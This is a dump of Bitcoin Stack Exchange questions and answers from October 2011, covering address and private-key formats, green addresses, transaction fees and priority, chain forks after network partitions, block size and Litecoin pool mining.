  <row Id="1723" PostTypeId="2" ParentId="1721" CreationDate="2011-10-24T22:46:00.587" Score="5" Body="&lt;p&gt;I remembered that I had seen answer to that question somewhere, after searching a bit I found it &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/842/how-to-start-programming-your-own-bitcoin-client/850#850&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Check out BitCoinJ (a from scratch bitcoin implementation in Java) and&#xA;BitCoinSharp (a C# port of BitCoinJ). They are not full&#xA;implementations yet, but they are very far along and can do most of&#xA;the tasks of a bitcoin client.&lt;/p&gt;&#xA;&lt;p&gt;No matter what language you plan to create your implementation in,&#xA;looking at these is very valuable because they are very thoroughly&#xA;commented and much easier to understand than the official C++ client.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;weird, because it's the answer to your other question.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2011-10-24T22:46:00.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1724" PostTypeId="2" ParentId="1720" CreationDate="2011-10-25T00:36:25.160" Score="7" Body="&lt;p&gt;What you're talking about is actually two separate concepts. A &quot;&lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;Bitcoin Address&lt;/a&gt;&quot; is not a keypair, it does not have public and private components. The Address is derived from the public portion of the key pair and is almost always expressed as a Base58 string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstbits is merely a way to look up addresses. When you enter someone's &quot;firstbits&quot; address at &lt;a href=&quot;http://firstbits.com&quot;&gt;firstbits.com&lt;/a&gt;, firstbits converts what you've entered to all lowercase characters and then looks through the block chain to find the first (chronological) occurrence of an address beginning with that string. You can't send coins to my firstbits address of &quot;1enmaku&quot; for example, but plugging that into the search box will produce an address &quot;1EnmakuaAN1WgAK2tUFvmsYcKc3NvH3NML&quot; which is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The others mentioned are all methods of expressing the private key. An address represents a receiving address, but the private key represents the right to claim coins at that address. A private key is a 256-bit number which can be represented in many ways. The most common way is WIF or &quot;wallet import format&quot; which is a 51-character string in Base58 which always begins with the number 5 and has some built-in error checking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Mini_private_key_format&quot;&gt;mini private key format&lt;/a&gt; is also seeing some widespread use such as in &lt;a href=&quot;https://www.casascius.com/&quot;&gt;Casascius' physical bitcoins&lt;/a&gt;. Mini private key uses as few as 22 characters of the same Base58 encoding as Bitcoin standard addresses. There are some criticisms that the fewer number of characters represents a smaller number of bits, making these keys vulnerable to brute force attack, but even the smallest of them still represent a substantial amount of entropy.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-25T00:36:25.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1725" PostTypeId="1" CreationDate="2011-10-25T04:59:32.180" Score="14" ViewCount="1988" Body="&lt;p&gt;I am developing a program that monitors transactions. &#xA;The first question is how can I know there is a new transaction? I can consider the command &lt;code&gt;listtransactions&lt;/code&gt;. However, there is a bit of an issue about this command which I posted in another thread. In short, I can't list transactions from all accounts by NOT providing the account parameter.&#xA;Even if it works for me. The API says: &#xA;listtransactions    [account] [count=10] [from=0]    Returns up to [count] most recent transactions skipping the first [from] transactions for account [account]. If [account] is not provided it will return recent transactions from all accounts.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran this command with parameters: &quot;&quot;, 1,3. I still got the first 3 transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a better idea about how to get new transactions that have not been checked?&lt;/p&gt;&#xA;" OwnerUserId="618" LastEditorUserId="659" LastEditDate="2012-03-26T23:01:45.200" LastActivityDate="2012-03-26T23:01:45.200" Title="How to know there is a new transaction?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1726" PostTypeId="1" AcceptedAnswerId="1728" CreationDate="2011-10-25T06:07:26.990" Score="8" ViewCount="3637" Body="&lt;p&gt;For example, one bitcoin from address A to address B, then from address B to address C, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that prior to the transfer from address A to address B, no bitcoin had been sent to address B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above is broadcast in the same block, would address C receive the bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="7" LastActivityDate="2011-10-25T07:36:14.360" Title="Can multiple transactions transferring the same bitcoin be done in one block?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1728" PostTypeId="2" ParentId="1726" CreationDate="2011-10-25T07:16:40.140" Score="7" Body="&lt;p&gt;Yes, this is possible. This is seen happening today in MtGox's &lt;a href=&quot;https://bitcointalk.org/index.php?topic=48170.msg574495#msg574495&quot; rel=&quot;nofollow&quot;&gt;green address implementation&lt;/a&gt;. The two transactions are not guaranteed to be included in the same block, because the second transaction has a lower priority for miners to include it; but it's possible, and seems to happen in a lot of cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from MagicalTux:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Actually if you look at : &lt;a href=&quot;http://blockexplorer.com/address/1LNWw6yCxkUmkhArb2Nf2MPw6vG7u5WG7q&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/1LNWw6yCxkUmkhArb2Nf2MPw6vG7u5WG7q&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Look at transactions 597d00408b... and 557c87f205....&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;597d00408b... is &quot;A to B&quot;&lt;br&gt;&#xA;  557c87f205... is &quot;B to C&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Both happened in the same block, which is the expected behaviour.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Previous tests did not always end in the same block, so I believe some miners may consider the second transaction lower priority as it involves not yet confirmed coins. In the case of those two transactions it was as fast as a normal transaction, but it cannot be guaranteed in 100% of the cases.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If we look at the previous transactions we can see it was sometimes coming out with a difference of 1 block, or even more. If pools could put priority on green addresses it'd (mostly) solve this issue.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can also pay a higher fee on the second transaction in order to compensate for the lower priority.&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="43" LastEditDate="2011-10-25T07:36:14.360" LastActivityDate="2011-10-25T07:36:14.360" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1729" PostTypeId="2" ParentId="1706" CreationDate="2011-10-25T11:12:02.803" Score="-1" Body="&lt;p&gt;For a very rough guide you could look at transaction volumes on the exchanges for different currencies..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;a href=&quot;http://bitcoincharts.com/charts/volumepie/&quot; rel=&quot;nofollow&quot;&gt;Exchange volume distribution&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="61" LastEditDate="2012-11-25T00:33:13.607" LastActivityDate="2012-11-25T00:33:13.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1730" PostTypeId="1" AcceptedAnswerId="1731" CreationDate="2011-10-25T11:44:08.050" Score="39" ViewCount="10164" Body="&lt;p&gt;What are Green Addresses? Is it true that they can solve the &quot;confirmation delay&quot; problem, and how does that work? Are there any drawbacks?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="3684" LastEditDate="2017-12-01T06:42:38.397" LastActivityDate="2020-10-23T21:15:01.527" Title="What are Green Addresses?" Tags="|address|confirmations|green-address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1731" PostTypeId="2" ParentId="1730" CreationDate="2011-10-25T12:01:12.783" Score="41" Body="&lt;p&gt;The green address is a third party trust trick and can help resolve most problems related to the need to wait for confirmations (slow transactions).&lt;/p&gt;&#xA;&lt;p&gt;To make it very simple :&lt;/p&gt;&#xA;&lt;p&gt;Service A publishes its green address, service B decides to trust service A.&lt;/p&gt;&#xA;&lt;p&gt;When someone send bitcoins from service A to service B, he will send from the service A green address.&lt;/p&gt;&#xA;&lt;p&gt;The service B knows he can trust the service A, he knows A won't double spend, so B can credit the sent bitcoins immediately, without waiting for confirmations ( or waiting for just one confirmation, which is probably wiser ).&lt;/p&gt;&#xA;&lt;p&gt;This is mostly useful for transferring bitcoins b2b (business to business), typically it would help making arbitrage easier and faster between 2 bitcoin exchanges, if both decide to trust each other's green address.&lt;/p&gt;&#xA;&lt;p&gt;This can also be useful to allow for POS (Point of sales) with instant transactions if the POS can trust the green address of your bitcoin bank (or online wallet)&lt;/p&gt;&#xA;&lt;p&gt;As an individual, I could also negotiate with my local supermarket to trust my green address (providing them my IRL address, ID number and more if needed).  Once they decide to trust my green address, I can pay immediately with bitcoins at my local supermarket (they trust me and won't need to wait for confirmations).&lt;/p&gt;&#xA;&lt;p&gt;The green address is just a bitcoin address, but it's a &amp;quot;from&amp;quot; address people decide to trust and accept transactions from this address without waiting for confirmations.&lt;/p&gt;&#xA;&lt;p&gt;Possible drawbacks are :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Less anonymity, or even no anonimity at all ( always using the same public from address), which is not a problem for a business, and its even great for public accounting/auditing ( yes bitcoin can also help fighting corruption ! )&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blockchain spam (more transactions for the bitcoin network), which is a good thing if the blockchain can scale.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Encourages people to use trusted wallet providers (some kind of bitcoin banks). Here too, this have good and bad sides.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It's not enough to create a green address, you still need to be trusted so that your green address is useful&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For now, afaik, only &lt;a href=&quot;http://mtgox.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;mtgox.com&lt;/a&gt;, &lt;a href=&quot;http://btcpak.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;btcpak.com&lt;/a&gt; and &lt;a href=&quot;http://instawallet.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;instawallet.org&lt;/a&gt; support the idea.  To be useful, green address system needs to be widely adopted by bitcoin pools, exchanges, online wallets, businesses, etc.&lt;/p&gt;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://en.bitcoin.it/wiki/Green_address&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Green_address&lt;/a&gt;&#xA;( edit 11 years ago, october 2020 , this reference is no more very relevant, some people completely rewrote the wiki page years later,for obscure reasons . . . they even replaced the first line with a blockstream ad . . . but you can still go and check the earliest versions of this page, around 2011-2012 , by clicking the &amp;quot;history&amp;quot; tab of the wiki page )&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2020-10-23T21:15:01.527" LastActivityDate="2020-10-23T21:15:01.527" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="1732" PostTypeId="1" AcceptedAnswerId="1734" CreationDate="2011-10-25T13:17:18.283" Score="7" ViewCount="1845" Body="&lt;p&gt;Is there a website that allows one to trade multiple different cryptocoins (Bitcoins, Namecoins, SolidCoins, RuCoins, LiteCoins, etc) all in one place?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="196" LastEditDate="2012-03-02T11:17:22.633" LastActivityDate="2013-11-20T10:27:30.887" Title="Trading between different cryptocoins" Tags="|exchanges|alternatives|currencies|trading|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1733" PostTypeId="1" AcceptedAnswerId="66248" CreationDate="2011-10-25T14:27:52.677" Score="11" ViewCount="1740" Body="&lt;p&gt;E.g., if I wanted to create a cron script that would grab the latest spot price every hour and store it in a local file or database, what would be the place to &quot;scrape&quot; that information from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Actually writing the script is not the problem, in my case.)&lt;/p&gt;&#xA;" OwnerUserId="619" LastEditorUserId="72" LastEditDate="2011-10-31T15:45:50.540" LastActivityDate="2017-12-23T01:15:26.990" Title="What is the easiest way to programmatically obtain the current USD-BTC spot price?" Tags="|development|exchanges|exchange-rate|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1734" PostTypeId="2" ParentId="1732" CreationDate="2011-10-25T14:38:04.033" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://btc-e.com&quot;&gt;BTC-E&lt;/a&gt; currently offers trading pairs of BTC/USD, BTC/RUB, SC/BTC, SC/USD, GG/BTC, TBX/BTC, FBX/BTC, LTC/BTC, LTC/USD, RUC/BTC, RUC/USD, RUC/RUB, NMC/BTC and RUB/USD&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-25T14:38:04.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1735" PostTypeId="2" ParentId="1733" CreationDate="2011-10-25T14:40:30.050" Score="10" Body="&lt;p&gt;You could use the JSON encoded ticker data available from MtGox at: &lt;a href=&quot;https://mtgox.com/api/0/data/ticker.php&quot;&gt;https://mtgox.com/api/0/data/ticker.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just use whatever your language's equivalent to &lt;a href=&quot;http://php.net/manual/en/book.curl.php&quot;&gt;cURL&lt;/a&gt; or &lt;a href=&quot;http://www.gnu.org/s/wget/&quot;&gt;wGet&lt;/a&gt; is and parse as appropriate.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-10-25T14:40:30.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1737" PostTypeId="2" ParentId="1706" CreationDate="2011-10-25T19:54:35.073" Score="2" Body="&lt;p&gt;You can see how many times bitcoin was downloaded by going to sourceforge and looking up bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example here is how many times bitcoin v4.0 was download by the United States:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.4.0/stats/timeline&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/bitcoin-0.4.0/stats/timeline&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="621" LastActivityDate="2011-10-25T19:54:35.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1738" PostTypeId="1" AcceptedAnswerId="1740" CreationDate="2011-10-25T21:19:09.673" Score="31" ViewCount="3884" Body="&lt;p&gt;Yesterday I asked a question &lt;a href=&quot;https://superuser.com/questions/350126/if-a-major-telco-line-is-cut-to-a-region-of-the-world-is-the-internet-still-a&quot;&gt;over at SuperUser&lt;/a&gt;, so that I could have my facts straight before asking this question.  The scenario sets the basis for this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding bitcoin, what would happen to the Bitcoin system if a portion of the world had it's internet connection severed with the rest of the world.  In other words if, say, all outside communication was lost in the &lt;a href=&quot;http://www.guardian.co.uk/world/2011/apr/06/georgian-woman-cuts-web-access&quot; rel=&quot;noreferrer&quot;&gt;region of Armenia&lt;/a&gt;, would the Armenian Bitcoin users, who continue to use Bitcoin, ultimately create a forked block chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what would happen to the blockchain when connection to the severed region of the world is restored, and the segregated network is resolved to the primary network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imagine the outcome would be similar to a 51% attack.  Is that correct?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="-1" LastEditDate="2017-03-20T10:04:40.180" LastActivityDate="2017-11-19T04:12:27.667" Title="What would happen if a portion of the Bitcoin network was separated from the rest of the network?" Tags="|transactions|blockchain|client|" AnswerCount="5" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1739" PostTypeId="2" ParentId="1738" CreationDate="2011-10-25T21:46:46.920" Score="15" Body="&lt;p&gt;When bitcoin client downloads two conflicting blockchains, in other words when fork happened, it chooses the longer blockchain as valid, and the shorter becomes invalid and called &quot;orphan blocks&quot;. &quot;Length&quot; is calculated as total combined difficulty of that chain, not number of blocks. &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot;&gt;Wiki: Block Chain&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your scenario, Armenia most likely has less hashing power then the rest of world and it would produce shorter fork of blockchain, therefore it would be overrided after connection is restored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;51% attack implies coordinated effort from a small group of people with malicious intent, which is not the case according to your scenarion, therefore I wouldn't call 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be easy to counter any negative outcome because users of isolated network would know instantly about the problem from sudden drop of total network hash power, and would just need to avoid spending bitcoins until connection is restored.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-25T22:22:35.397" LastActivityDate="2011-10-25T22:22:35.397" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1740" PostTypeId="2" ParentId="1738" CreationDate="2011-10-25T22:01:03.737" Score="11" Body="&lt;p&gt;It wouldn't be a fork as both chains would only exists as the longest chain until the network was reconnected.  As soon as Armenia was reconnected to the internet every client would via block exchange determine there is a longer block and switch to that chain.  The orphaned chain would simply be discarded by all clients and eventually the entire network would be &quot;re-unified&quot; under the single longest chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a situation like that it would be difficult but not impossible to pull off a double spend.  An attacker would need to have wallets in both sub-networks so coins could be spent in both sub-networks during the &quot;isolation&quot;.   A precaution to take when isolated from &quot;main internet&quot; is to not process any transactions until the sub-networks have rejoined.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example a store could accept coins, and prepare orders but not ship them until rejoining the main network and ensuring no double-spend occurred.  If a double-spend had occurred the merchant would become aware once the larger network began processing the orphaned transactions and they were reported as invalid by the network.  If no double spend occurred those transactions would eventually be included in longest blockchain and become confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those in the &quot;main network&quot; there is no risk from a double spend because their chain will remain longest and will survive while overwriting transactions from the smaller sub-network once the networks are rejoined.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-31T05:20:14.050" LastActivityDate="2011-10-31T05:20:14.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1741" PostTypeId="1" CreationDate="2011-10-25T22:18:22.110" Score="12" ViewCount="6872" Body="&lt;p&gt;If I install the bitcoin command line client for linux, can I use just a public and private key to send coins from an address? I don't want to add it to my wallet file, I just want to move coins out of an address.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: After reading some of the answers I realize that I should have been more clear about my purposes. This is for more of a computer controlled money system. I want to be able to create addresses, and move money between them, and be able to move money out of addresses to other public addresses. I wanted it to be super light weight and not have to download the whole block-chain to achieve anything, and I don't want it to use wallets because they don't conform very well to what I am doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to be given a private key and public address of a source, and a public address of a destination, to be able to send coins from one to another, and do it by just sending a message to the network. I want to be able to do it with only 10-20 MB of storage, and be able to do it by only connecting to a few nodes. Confirmations &amp;amp; balances will just be handled by hitting up some public resource like blockchain explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: if it is not possible to do without the blockchain handy, then that can be accommodated for (though it throws in the need for a server for me rather than being purely client based.).&lt;/p&gt;&#xA;" OwnerUserId="598" LastEditorUserId="598" LastEditDate="2011-10-27T15:38:14.993" LastActivityDate="2019-05-28T16:03:25.747" Title="Send bitcoins using just a pub and private key" Tags="|transactions|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1742" PostTypeId="1" AcceptedAnswerId="1745" CreationDate="2011-10-25T22:46:36.647" Score="4" ViewCount="1177" Body="&lt;p&gt;I've been reading about transaction fees &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fee&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the aritcle,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transaction priority is calculated as a value-weighted sum of input age, divided by transaction size in bytes:&#xA;  priority = sum(input_value_in_base_units * input_age)/size_in_bytes&#xA;  Transactions need to have a priority above 57,600,000 to avoid the enforced limit (as of client version 0.3.21). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are rules for determining the transaction fees needed depending on client etc. &#xA;My question is does paying a fee increase the priority or else how does it increase the chances that the transaction will be accepted by the network. If it changes the priority, what is the formula for determining priority. If you pay more than the default fee does it increase the priority even more?&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="5406" LastEditDate="2016-04-17T18:55:47.243" LastActivityDate="2016-04-17T18:55:47.243" Title="Does the amount of the transaction fee affect the priority of a transaction?" Tags="|transaction-fees|transaction-selection|coin-age-priority|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1743" PostTypeId="2" ParentId="1181" CreationDate="2011-10-25T22:47:58.453" Score="11" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=49831.0&quot;&gt;MtGox Live&lt;/a&gt; now supports 17 currencies. Use this URL with the desired country code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mtgoxlive.com/orders?currency=YOUR_DESIRED_CURRENCY_CODE&#xA;&#xA;  BTC  // Bitcoin    &#xA;  USD  // USA    &#xA;  EUR  // Euro    &#xA;  JPY  // Japan    &#xA;  CAD  // Canada    &#xA;  GBP  // Great Britain    &#xA;  CHF  // Switzerland    &#xA;  RUB  // Russia    &#xA;  AUD  // Australia    &#xA;  SEK  // Swedish    &#xA;  DKK  // Denmark    &#xA;  HKD  // Hong Kong    &#xA;  PLN  // Poland    &#xA;  CNY  // China    &#xA;  SGD  // Singapore    &#xA;  THB  // Thailand    &#xA;  NZD  // New Zealand&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the Euro chart: &lt;a href=&quot;http://mtgoxlive.com/orders?currency=EUR&quot;&gt;http://mtgoxlive.com/orders?currency=EUR&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-10-25T22:47:58.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1744" PostTypeId="2" ParentId="1741" CreationDate="2011-10-25T22:58:23.933" Score="5" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I recalled that &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3aDDH1_9guulMJ%3ahttps://en.bitcoin.it/wiki/Sweepprivkey_proposal&amp;amp;hl=en&amp;amp;strip=1&quot; rel=&quot;nofollow&quot;&gt;Wiki: Sweepprivkey proposal&lt;/a&gt;, is actually exactly what you are asking for, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=45523.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk.org: Proposed RPC command: sweepprivkey&lt;/a&gt;. The latest news about the &lt;a href=&quot;https://github.com/jarpiain/bitcoin/commit/25eefa6dc4390f87e83cc4f326267c29ec38ce68&quot; rel=&quot;nofollow&quot;&gt;work in progress&lt;/a&gt; from jarpiain, dated October 15.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is functional in the sense that I tested it succesfully on the&#xA;  real block chain. It's not yet robust enough for serious use. In&#xA;  particular, there are race conditions for accessing addrblock.dat.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I'm going to implement some of the sweepprivkey options and copy the&#xA;  transaction fee logic from CWallet::CreateTransaction() this weekend&#xA;  (I think it's best to keep the fee setting in one place, the -paytxfee&#xA;  option).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;MtGox has the option to fund account with private key, and it understands several different formats, not only the standart one, e.g. it accepts mini format used by Casascius physical coins, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=46908.0&quot; rel=&quot;nofollow&quot;&gt;MtGox adds redeemer for private keys including Casascius Physical Bitcoins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you want to send the transaction from your own computer then you need a software that would create a proper transaction using the public and private key, bitcoin or bitcoind can't do that without importing keys into wallet first, importing could be done with &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt; or hopefully soon-to-be-official &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8091.0&quot; rel=&quot;nofollow&quot;&gt;wallet export/import bitcoin patch&lt;/a&gt;, but make sure to backup your wallet first.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-27T02:59:52.050" LastActivityDate="2011-10-27T02:59:52.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1745" PostTypeId="2" ParentId="1742" CreationDate="2011-10-25T23:07:41.427" Score="11" Body="&lt;p&gt;Currently no.  Any &quot;required fees&quot; are enforced only by the client not the network or protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is up to each individual miners which transactions to include in a block.  If forced to make a choice a miner would choose a paying transaction over a nonpaying one however current transaction volume is so low that all transactions (paying and otherwise) can fit into next block with significant room to spare.  If you used a modified client with no fees most miners would simply include your fee transactions.  Some pools (Eligius) will exclude free transactions that &quot;should&quot; (based on mainline client rules) have a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for what fee is the minimum to guarantee access to the next block.  Most miners and mining pools prioritize transactions by fees and then priority.  If you include any fee (even 1 satoshi) even if it is less than what is required by mainline client it likely will be included in the next block. Paying more is likely of negligible value as paying anything almost guarantees access to the next block.  The block size limit isn't much of a capacity constraint to warrant higher fees (and move further up transaction list ordering).  I can't see any miner excluding a valid paying transaction from any block at current transaction volume. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current fee structure (or lack thereof) brings up some scalability issues when block reward aproaches zero.  The development team has indicated an improved fee structure is something planned for later releases.  It is an issue which will need to be addresses as left as it is now one could simply include 1 satoshi fee with every transaction and it would drive block fees down to ~ (transactions per second) / 166,667 BTC per block.  Even at high volume of say 1,000 tps it would be a tiny number and thus network hashing power would fall to a tiny fraction of current hashing power leaving the network vulnerable.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-10-25T23:25:04.067" LastActivityDate="2011-10-25T23:25:04.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1746" PostTypeId="1" AcceptedAnswerId="1826" CreationDate="2011-10-26T01:28:29.393" Score="3" ViewCount="6611" Body="&lt;p&gt;To date I've only participated in mining GPU-optimised crypto currencies. I wondered what happens when I pointed my GPU miner to a Litecoin mining pool worker, Litecoin being designed to be optimised for CPU mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried do this for just three shares on coinotron.com and according to guiminer (running Phoenix) two of them were rejected as stale and one was accepted. However, my worker on coinotron.com registered no shares submitted at all (which is probably correct, since it's likely a GPU miner won't work at all for Litecoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't use Phoenix, then what do I use to participate in a Litecoin mining pool?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-03-14T16:56:13.860" LastActivityDate="2021-03-03T11:39:33.490" Title="How can I participate in a mining pool that is mining Litecoins?" Tags="|mining-pools|litecoin|gpu-mining|miner-configuration|phoenix|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1747" PostTypeId="1" CreationDate="2011-10-26T06:09:05.053" Score="16" ViewCount="3804" Body="&lt;p&gt;What is the maximum size a block can be? &#xA;Is there a minimum size?&#xA;Can you have a block with 0 transactions included?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="5406" LastEditDate="2015-05-08T09:59:27.557" LastActivityDate="2023-11-27T03:44:31.360" Title="Bitcoin Block Size - What are the rules?" Tags="|block|blocksize|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1748" PostTypeId="2" ParentId="1747" CreationDate="2011-10-26T08:29:15.977" Score="11" Body="&lt;p&gt;The current maximum block size is 1MB (but it could be increased in the future with a protocol change), there is no minimum size per se, but the block needs to have all its components to be valid (check &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot;&gt;Protocol Specification&lt;/a&gt;). Each block needs to have at least one transaction - one paying the miner the reward for mining the block.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-06-17T21:52:31.623" LastActivityDate="2012-06-17T21:52:31.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
